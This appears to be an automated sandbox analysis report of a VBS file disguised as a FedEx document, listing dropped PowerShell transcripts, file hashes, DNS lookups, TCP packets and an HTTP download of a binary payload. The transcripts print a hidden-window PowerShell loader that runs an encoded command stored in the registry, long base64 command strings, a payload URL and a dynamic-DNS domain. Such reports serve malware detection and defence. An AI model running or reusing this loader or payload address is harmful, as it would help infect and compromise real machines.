                            C:\Users\user\Documents\20220121\PowerShell_transcript.936905.4mIv9YDg.20220121172114.txt

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):988
                            Entropy (8bit):5.44631759602127
                            Encrypted:false
                            SSDEEP:24:BxSAC4xvBnIx2DOXU4s9r4EWGHjeTKKjX4CIym1ZJXao9r4w:BZCMvhIoO3/GqDYB1Zghw
                            MD5:0EC084B217C2F41A7D7CF4F115A8A503
                            SHA1:ED92826ECD6A5BABDE86FD39C95A38292A9B2D34
                            SHA-256:A213EF9DC6A8EC55AA131D3794E5A709EA7B66E4EEC692FB75C950D44381B3BC
                            SHA-512:01C1401A01D9B930BA94234001CBFBF9477FE55B326DC9C8EF081F7075E618B7D0EBD665F82AE76DCF5B3B00F0783D00674CE89F12A00CAF8925ABE4ACEFC25E
                            Malicious:false
                            Reputation:unknown
                            Preview:.**********************..Windows PowerShell transcript start..Start time: 20220121172133..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 936905 (Microsoft Windows NT 10.0.17134.0)..Host Application: c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)..Process ID: 7072..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..**********************..**********************..Command start time: 20220121172134..**********************..PS>$Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)..

                            C:\Users\user\Documents\20220121\PowerShell_transcript.936905.D1RoMi0p.20220121172156.txt

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
                            Category:dropped
                            Size (bytes):11496
                            Entropy (8bit):5.101438909284681
                            Encrypted:false
                            SSDEEP:192:ZWzio+kbnOvbiQ9MAWdqKK+DUNCieJVU+Ghuhwy4/f07VbNVbpdAt5kY6GRXvCTb:ZWz7+MnqNWdqKK+ANCikU+Ghuhw5f079
                            MD5:9CDACE65DE2EBD03B4778306EC880CCD
                            SHA1:D0E73803E8A90C57D3D8947C4E4EF94BCBD66A1C
                            SHA-256:5D6A312D77B27AA42812A3F7F334693FC5774D814873B4FB3782354FF3C7DC73
                            SHA-512:ECDB9E9CEEA341992FBA832C775AF91095D5F1AF4CBCCBF1BF061D692F2A7690B44E010ED6F5D03CAEDAA46CE38272A80D204F2DEC9633CA47A868CAE353B982
                            Malicious:false
                            Reputation:unknown
                            Preview:.**********************..Windows PowerShell transcript start..Start time: 20220121172225..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 936905 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANA

                            C:\Users\user\Documents\20220121\PowerShell_transcript.936905.KCw_zsFX.20220121171948.txt

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
                            Category:dropped
                            Size (bytes):11612
                            Entropy (8bit):5.113609342401088
                            Encrypted:false
                            SSDEEP:192:YGWzio+kbnOvbiQ9MAWdqKK+DUNCieJVU+Ghuhwy4/f07VbNVbpdAt5kY6GbXvCz:YGWz7+MnqNWdqKK+ANCikU+Ghuhw5f0j
                            MD5:B4B824725B79F10F94CF660A81244798
                            SHA1:D0C09FBC299AFB884E1B78E1FF6889E574437846
                            SHA-256:0C595BF5AF37DE735B18ED6CADDEE668ED86B8EF0B8AD702C849779352307C31
                            SHA-512:74C4534AA8361487FBDF3CDA6B94FE2255C22245718606646035940D1DFD5D517E276A34201F7C10A77C07087F852B4A6DCFDB351D5D37D6DE6F1CB92EAC6E98
                            Malicious:false
                            Reputation:unknown
                            Preview:.**********************..Windows PowerShell transcript start..Start time: 20220121172001..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 936905 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -EncodedCommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAc

                            C:\Users\user\Documents\20220121\PowerShell_transcript.936905.XaMWoUUI.20220121172118.txt

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):988
                            Entropy (8bit):5.443752842666434
                            Encrypted:false
                            SSDEEP:24:BxSACMxvBnIx2DOXU4s9r4EWnHjeTKKjX4CIym1ZJXaL9r4w:BZCQvhIoO3/nqDYB1ZgKw
                            MD5:7AE0FE7E7E225B86E5E37AA31C226C5E
                            SHA1:BC635767F3C52EF9059B85D9DDE36E4AF372A502
                            SHA-256:7EF5F44B981096AE1DE147595FEF41A51EE2A53D90D17211D527A3C716587779
                            SHA-512:5C5547DD424389204427C679255E5CA0B5E075E5D08DC8A80FDC24ADBCA1CE3CB0D405F6273209288B4947E8820A67C7E8E6A51A724E370B6164E7F8401FF851
                            Malicious:false
                            Reputation:unknown
                            Preview:.**********************..Windows PowerShell transcript start..Start time: 20220121172120..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 936905 (Microsoft Windows NT 10.0.17134.0)..Host Application: c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)..Process ID: 3024..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..**********************..**********************..Command start time: 20220121172120..**********************..PS>$Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)..

                            C:\Users\user\Documents\20220121\PowerShell_transcript.936905.p0XZL_7o.20220121172125.txt

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
                            Category:dropped
                            Size (bytes):11632
                            Entropy (8bit):5.1152030137799445
                            Encrypted:false
                            SSDEEP:192:XWzio+kbnOvbiQ9MAWdqKK+DUNCieJVU+Ghuhwy4/f07VbNVbpdAt5kY6GmfXvCz:XWz7+MnqNWdqKK+ANCikU+Ghuhw5f07C
                            MD5:7B3337C0D3444E77B42B5341AD46C3CF
                            SHA1:CDCD9EF3ACF2E04356EB1A673C7B74851FE6C98D
                            SHA-256:7C70E4DAD60EECDD44EFDB5FAC759105451ABBF83F15CC496559313F7D641DDE
                            SHA-512:B31BFF24AD6AAD707A8A7DB8BB7007018FE6FB365914F52103399D2BC95DCFB74906675D4BB2399A6A840ACDC0A2F39192F2CBF7069910F4B0166E2A77EBD0DD
                            Malicious:false
                            Reputation:unknown
                            Preview:.**********************..Windows PowerShell transcript start..Start time: 20220121172151..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 936905 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANA

                            Static File Info

                            General

                            File type:ASCII text, with CRLF line terminators
                            Entropy (8bit):5.011563758748638
                            TrID:
                            • Visual Basic Script (13500/0) 100.00%
                            File name:775578748333_FEDEX.vbs
                            File size:77526
                            MD5:5d3ad82ef16521df753bc6baff37f72f
                            SHA1:ac4df3a47570b88a4768c2c461b15f78b99753dd
                            SHA256:19469f11cba8ab55b84cf26efa8835e906d07fdb73572c9ee3594e5c44c798bf
                            SHA512:3e83cadcfdd061c49dc09c4cbedb99d6fa3eade1d83e7e549406c7631955a02fced9e3eba61d6d8ffc056cb0429ced5ca21c2976871b64f8c5d778ff9a5e1790
                            SSDEEP:1536:LLw5NaanH4eVprnmnk91iv2SZTcWsyuFrTkOiPVz7p:LYVYrNv3sRO3p
                            File Content Preview:'Kingdomf3 Kysse1 jargoniumn indstvnin Ballooning anom BUTTON refusere Tosaphot5 landar Modtage Billarde Chel7 Swall1 konsekv Legen Superurgen6 CLAMSH Arealets NONLITI Elitersunp2 Eksorb8 STINAMUSI Syncateg3 Skjorterm3 Konfis1 Under6 Enke HYPERVIG ..'Strm

                            File Icon

                            Icon Hash:e8d69ece869a9ec4

                            Network Behavior

                            Snort IDS Alerts

                            TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                            01/21/22-17:21:04.003572UDP254DNS SPOOF query response with TTL of 1 min. and no authority53578758.8.8.8192.168.2.3

                            Network Port Distribution

                            TCP Packets

                            TimestampSource PortDest PortSource IPDest IP
                            Jan 21, 2022 17:20:59.558741093 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:20:59.558780909 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:20:59.559036970 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:20:59.596667051 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:20:59.596684933 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:00.348934889 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:00.349113941 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:00.754266977 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:00.754298925 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:00.754651070 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:00.758584023 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:00.761658907 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:00.801876068 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.010226011 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.010581017 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.259124041 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.259143114 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.259177923 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.259279966 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.259305954 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.259321928 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.259386063 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.259393930 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.259486914 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.506932974 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.506959915 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507013083 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507189989 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.507219076 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507236004 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507307053 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507348061 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.507349014 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507366896 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507411957 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.507457972 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755094051 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755120039 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755153894 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755372047 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755388975 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755399942 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755444050 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755481958 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755522966 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755558968 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755564928 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755621910 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755690098 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755719900 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755759954 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755767107 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755800009 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755834103 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755949020 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755985975 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756026030 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756031990 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756108999 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756251097 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756283998 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756335974 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756344080 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756381989 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756408930 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756453037 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756489992 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756526947 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756532907 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756581068 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756671906 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756702900 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756750107 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756757975 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756787062 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756814957 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.003005981 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.003026962 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.003063917 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.003202915 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.003216982 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.003263950 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.004607916 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.004643917 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.004729033 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.004745007 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.004797935 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.005104065 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005135059 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005199909 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.005215883 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005264997 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.005428076 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005456924 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005518913 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.005533934 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005585909 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.005706072 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005734921 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005788088 CET49756443192.168.2.352.68.15.223

                            UDP Packets

                            TimestampSource PortDest PortSource IPDest IP
                            Jan 21, 2022 17:20:59.268987894 CET5745953192.168.2.38.8.8.8
                            Jan 21, 2022 17:20:59.538330078 CET53574598.8.8.8192.168.2.3
                            Jan 21, 2022 17:21:03.982707977 CET5787553192.168.2.38.8.8.8
                            Jan 21, 2022 17:21:04.003571987 CET53578758.8.8.8192.168.2.3
                            Jan 21, 2022 17:22:57.512908936 CET5415453192.168.2.38.8.8.8
                            Jan 21, 2022 17:22:57.783508062 CET53541548.8.8.8192.168.2.3
                            Jan 21, 2022 17:23:10.050245047 CET5280653192.168.2.38.8.8.8
                            Jan 21, 2022 17:23:10.069026947 CET53528068.8.8.8192.168.2.3

                            DNS Queries

                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                            Jan 21, 2022 17:20:59.268987894 CET192.168.2.38.8.8.80x4615Standard query (0)www.wizumiya.co.jpA (IP address)IN (0x0001)
                            Jan 21, 2022 17:21:03.982707977 CET192.168.2.38.8.8.80xc66fStandard query (0)rnnfibi.hopto.orgA (IP address)IN (0x0001)
                            Jan 21, 2022 17:22:57.512908936 CET192.168.2.38.8.8.80x2e38Standard query (0)www.wizumiya.co.jpA (IP address)IN (0x0001)
                            Jan 21, 2022 17:23:10.050245047 CET192.168.2.38.8.8.80xbe6aStandard query (0)www.wizumiya.co.jpA (IP address)IN (0x0001)

                            DNS Answers

                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                            Jan 21, 2022 17:20:59.538330078 CET8.8.8.8192.168.2.30x4615No error (0)www.wizumiya.co.jp52.68.15.223A (IP address)IN (0x0001)
                            Jan 21, 2022 17:21:04.003571987 CET8.8.8.8192.168.2.30xc66fNo error (0)rnnfibi.hopto.org199.195.253.181A (IP address)IN (0x0001)
                            Jan 21, 2022 17:22:57.783508062 CET8.8.8.8192.168.2.30x2e38No error (0)www.wizumiya.co.jp52.68.15.223A (IP address)IN (0x0001)
                            Jan 21, 2022 17:23:10.069026947 CET8.8.8.8192.168.2.30xbe6aNo error (0)www.wizumiya.co.jp52.68.15.223A (IP address)IN (0x0001)
                            Jan 21, 2022 17:23:11.601560116 CET8.8.8.8192.168.2.30xaec5No error (0)prda.aadg.msidentity.comwww.tm.a.prd.aadg.akadns.netCNAME (Canonical name)IN (0x0001)

                            HTTP Request Dependency Graph

                            • www.wizumiya.co.jp

                            HTTPS Proxied Packets

                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            0192.168.2.34975652.68.15.223443C:\Program Files (x86)\Internet Explorer\ieinstal.exe
                            TimestampkBytes transferredDirectionData
                            2022-01-21 16:21:00 UTC0OUTGET /html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin HTTP/1.1
                            User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
                            Host: www.wizumiya.co.jp
                            Cache-Control: no-cache
                            2022-01-21 16:21:01 UTC0INHTTP/1.1 200 OK
                            Date: Fri, 21 Jan 2022 16:21:00 GMT
                            Server: Apache/2.4.18 (Ubuntu)
                            Last-Modified: Wed, 19 Jan 2022 23:42:09 GMT
                            ETag: "73c40-5d5f7ef2420e7"
                            Accept-Ranges: bytes
                            Content-Length: 474176
                            Connection: close
                            Content-Type: application/octet-stream
                            2022-01-21 16:21:01 UTC0INData Raw: d5 08 c2 f6 f6 5d 65 04 ba ad 0d 47 ba 23 ec e6 32 ce 4c a3 9e 67 e9 1a d8 d3 ba 9e f4 4f 77 38 49 52 d4 92 5b 33 e6 87 34 f6 f3 70 d2 79 af fb 71 cf e5 05 d0 13 3b 2e ec ad a8 44 32 f7 a2 6a 32 d5 49 22 6c ac 5c 55 ea f1 03 22 a6 fd 73 b9 ad 4a d0 de 73 8e 8f b1 14 04 5b 8d 02 e0 eb 3f 03 13 e7 f2 cc 6f 73 7e 78 01 b3 05 45 19 0c 3f af 00 17 41 9e c5 48 68 d8 30 11 48 b9 c0 9f 85 88 3a 38 c0 bb 38 ea 7b d1 ae d1 1e ec 4d a8 63 0d ec 6a 2e 3a b5 23 a7 3e 7b 5e f4 05 60 e0 ba 2f 5b c4 ab 3e 81 63 4e 18 a4 0b bf ef 9a 79 81 10 a8 cc 13 fa 94 39 5c 7f 5f 2a a7 b6 88 ef 51 d1 55 18 42 5f 3b bc 41 eb f3 31 75 95 03 ca 1a 05 06 07 a8 cd b2 b5 aa 99 48 7a b3 c1 04 1e a2 db 47 86 98 ac e7 8a 92 8e be 53 aa 09 8f d9 5b 00 ed e5 b4 b4 a2 af e0 de 0f 20 69 5a 1c 80
                            Data Ascii: ]eG#2LgOw8IR[34pyq;.D2j2I"l\U"sJs[?os~xE?AHh0H:88{Mcj.:#>{^`/[>cNy9\_*QUB_;A1uHzGS[ iZ
                            2022-01-21 16:21:01 UTC16INData Raw: 28 77 13 69 50 62 65 f9 1a d1 32 5f 44 a8 d4 34 8d 4e 99 96 91 51 1f 35 1a 5d 97 b1 db 86 17 f5 f6 f9 a1 03 fa ff 37 93 94 19 ad 8e 78 8d 64 97 2d 98 81 94 10 00 14 66 68 44 08 aa 87 bb 72 21 7f 9f 0e a2 99 76 52 7d 4d a1 d2 b5 31 81 ae af 20 8b 9a d0 db 89 7f de 93 b1 24 82 3f 57 cd 57 71 31 42 02 59 8e 1c a7 0a 50 d3 f1 ae f6 93 d6 fa 95 a2 55 2e 6a 86 4a d4 51 eb ec 38 db f9 11 84 7b 5c 6f 88 bb 29 73 b6 2d 5a 53 2f 53 af 2c e3 5e 0c ff a7 7a 83 c2 e2 34 13 71 94 5d 6a d2 83 c6 99 9f 14 bc 62 8d 0f 70 c3 7c c8 13 60 35 38 70 85 7a ef 7c bc a2 f0 e6 da 92 1e 25 07 8c 0e c6 27 e4 92 07 21 85 88 0b a4 fc 32 7c 5d 63 cc 9a f5 e9 b8 31 16 3e 14 11 0d 01 3c 47 70 1a af e7 78 41 89 c8 78 9d 6d 89 42 fc bc 6c 1a 16 ee da 6c 20 25 3f b7 50 89 d4 e2 4c e0 47 2c
                            Data Ascii: (wiPbe2_D4NQ5]7xd-fhDr!vR}M1 $?WWq1BYPU.jJQ8{\o)s-ZS/S,^z4q]jbp|`58pz|%'!2|]c1><GpxAxmBll %?PLG,
                            2022-01-21 16:21:01 UTC32INData Raw: c0 3f cf a5 41 fe 28 70 04 2e 19 7a b6 40 52 51 7f 47 2f a8 63 3a 3d a0 91 c9 35 6b 5d 6c 0d ef 5b 5d 32 60 62 71 ba 90 22 45 f7 48 25 41 e1 30 f6 aa 0b bf 50 3d 91 14 02 c8 4c 0d fe b4 86 24 80 86 78 83 86 87 d3 c0 68 15 92 cc cc 5c 89 be 49 84 3f f0 a0 b2 cc 1b 4a 00 7d 4c 33 7d 08 ab ed 4b 95 15 4a 62 3e 7d 83 c8 40 a0 0e 15 c3 3e 4d 43 45 40 a3 01 5a 4f 62 6c 9b b2 c1 33 b3 e2 5b d6 d9 fe 6d 4f 7e bd fe db 38 e0 d6 65 94 57 76 56 3d 0a 3d 23 ec 00 3d d2 61 0e ee 79 a1 37 a7 bf a4 7e 89 48 bc 4b f3 55 73 51 96 2b 57 2f e9 c6 47 9b fa f2 61 a1 09 ae 06 8d 1c 7e fb 48 1a 31 e5 29 4b 6e cc c7 eb 1f 02 42 cc 00 c9 3c c6 fe c8 ef 3a 98 54 b3 9a ea 1f 14 b4 cd fb 32 08 33 90 2c 20 23 c2 e6 8e a9 9a e8 c7 2e ec 73 45 9e c5 1b e3 01 66 46 c5 c2 c5 f7 0d 95 25
                            Data Ascii: ?A(p.z@RQG/c:=5k]l[]2`bq"EH%A0P=L$xh\I?J}L3}KJb>}@>MCE@ZObl3[mO~8eWvV==#=ay7~HKUsQ+W/Ga~H1)KnB<:T23, #.sEfF%
